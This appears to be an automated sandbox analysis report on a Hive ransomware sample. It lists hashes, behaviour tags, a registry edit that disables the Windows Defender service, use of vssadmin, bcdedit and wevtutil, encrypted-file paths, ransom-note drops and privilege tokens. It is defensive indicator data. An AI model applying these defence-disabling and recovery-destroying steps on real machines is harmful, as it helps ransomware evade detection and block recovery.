Malware Analysis Report

2024-10-16 03:12

Sample ID 220112-x1l34adgcp
Target edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.7z
SHA256 7fec4b17ae054d493120bf3a12f063b80b7d4ba1312587af3a262ace48ccf615
Tags
hive evasion ransomware spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

7fec4b17ae054d493120bf3a12f063b80b7d4ba1312587af3a262ace48ccf615

Threat Level: Known bad

The file edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.7z was found to be: Known bad.

Malicious Activity Summary

hive evasion ransomware spyware stealer trojan

Modifies security service

Modifies Windows Defender Real-time Protection settings

Deletes Windows Defender Definitions

Hive

Deletes shadow copies

Modifies boot configuration data using bcdedit

Clears Windows event logs

Reads user/profile data of web browsers

Launches sc.exe

Drops file in Program Files directory

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Runs ping.exe

Interacts with shadow copies

Opens file in notepad (likely ransom note)

Runs net.exe

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-12 19:19

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-12 19:19

Reported

2022-01-12 19:24

Platform

win7-en-20211208

Max time kernel

112s

Max time network

30s

Command Line

"C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Hive

ransomware hive

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" C:\Windows\system32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\CPU.Gadget\ja-JP\css\cpu.css C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\46.png C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\mainscroll.png C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\feature.properties.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_h2XRduMJEHk0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Microsoft Office\Office14\Mso Example Setup File A.txt.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_SYnRodF6oxU0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\speaker-32.png.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_q0k5ccwighs0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\drag.png C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File created C:\Program Files\7-Zip\a84r_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\DumontDUrville.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf__UGv6VXU7Jw0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\en-US\js\weather.js C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsMacroTemplate.html.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_yf8Gc1oxFXk0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\about.html.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_xNik7wIYSho0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\System\msadc\fr-FR\msadcfr.dll.mui C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0239943.WMF.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_6dQvr2FzoO80.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\images\curl.png C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0196358.WMF.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_5AUbgd8mnUI0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Swirl\TAB_ON.GIF.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_oQNKzw5Yui80.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\120DPI\(120DPI)grayStateIcon.png C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0187839.WMF.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_R58mtL5QiHA0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\POWERPNT.DEV.HXS.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_nSVIwQVXyMg0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR49B.GIF.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_fBaCvmGKNRA0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\St_Johns.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf__TViLhMCpm00.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Currie.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_lRk5sjDr_5c0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.emf.ecore.xmi_2.10.1.v20140901-1043.jar.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_q8aldPQ9F9A0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\en-US\js\library.js C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Ashgabat.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_i1hsMOxXSKw0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\images\calendar_double_orange.png C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\es-ES\js\slideShow.js C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_moon-last-quarter.png C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\NavigationUp_SelectionSubpicture.png C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\Filters.xml C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\ja-JP\settings.html C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FormsTemplates\Customer Support.fdt.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_IMdPfMuA04M0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\AD98.POC.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_R8MVJBfq8n40.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\a84r_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Zurich.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_Ug9sPcfTjZ00.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\es-ES\js\settings.js C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\BG_ADOBE.GIF.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_bx4lVuE4rxk0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\FLASH.NET.XML.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_oACvez9-yUM0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File created C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\1033\a84r_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\ink\es-ES\IpsMigrationPlugin.dll.mui C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099197.GIF.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_v3dkwMQUMXI0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\msaccess.exe.manifest.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_Wfl-aWqDrks0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Stationery\1033\OFFISUPP.HTM.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_PCr4rPxShNI0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\CLASSIC1.WMF.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_GqpgxIXy6mY0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\bg_VelvetRose.gif.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_UNEs-Wvlhng0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\SpringGreen\TAB_ON.GIF.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_bGn438VOl500.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\a84r_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21329_.GIF.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_JhQx89ed3f40.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\IPM.CFG.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_6cLwDlYDzU40.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File created C:\Program Files\7-Zip\Lang\a84r_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\a84r_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME39.CSS.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_qUMV_R_MYak0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\CONVERT\OLNOTE.FAE.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_ipx5qHOQf2E0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00390_.WMF.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_-pZlrgBlovY0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00671_.WMF.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_LvLLfbyacxk0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02025_.WMF.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_f6mMd2r7Muc0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Dot.png C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\28.png C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\as80.xsl.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_51LXYBRS5-c0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-text.xml.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_hBKKlYqmCiE0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\button_mid.gif.fQVb-ykyPODJuNbMC4QyEQFDVMw1GZW8cTbql-qSXUf_OgCyD8zBOgU0.pruhs C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Opens file in notepad (likely ransom note)

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\notepad.exe N/A

Runs net.exe

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1580 wrote to memory of 960 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 960 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 960 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 960 wrote to memory of 268 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 960 wrote to memory of 268 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 960 wrote to memory of 268 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 892 wrote to memory of 592 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 892 wrote to memory of 592 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 892 wrote to memory of 592 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1580 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
PID 1580 wrote to memory of 1628 N/A C:\Users\Admin\AppData\Local\Temp\edf745e4d22485a77b93437843023b27d072fcffb14ea91ca8f309b14d5c5826.exe C:\Windows\system32\net.exe
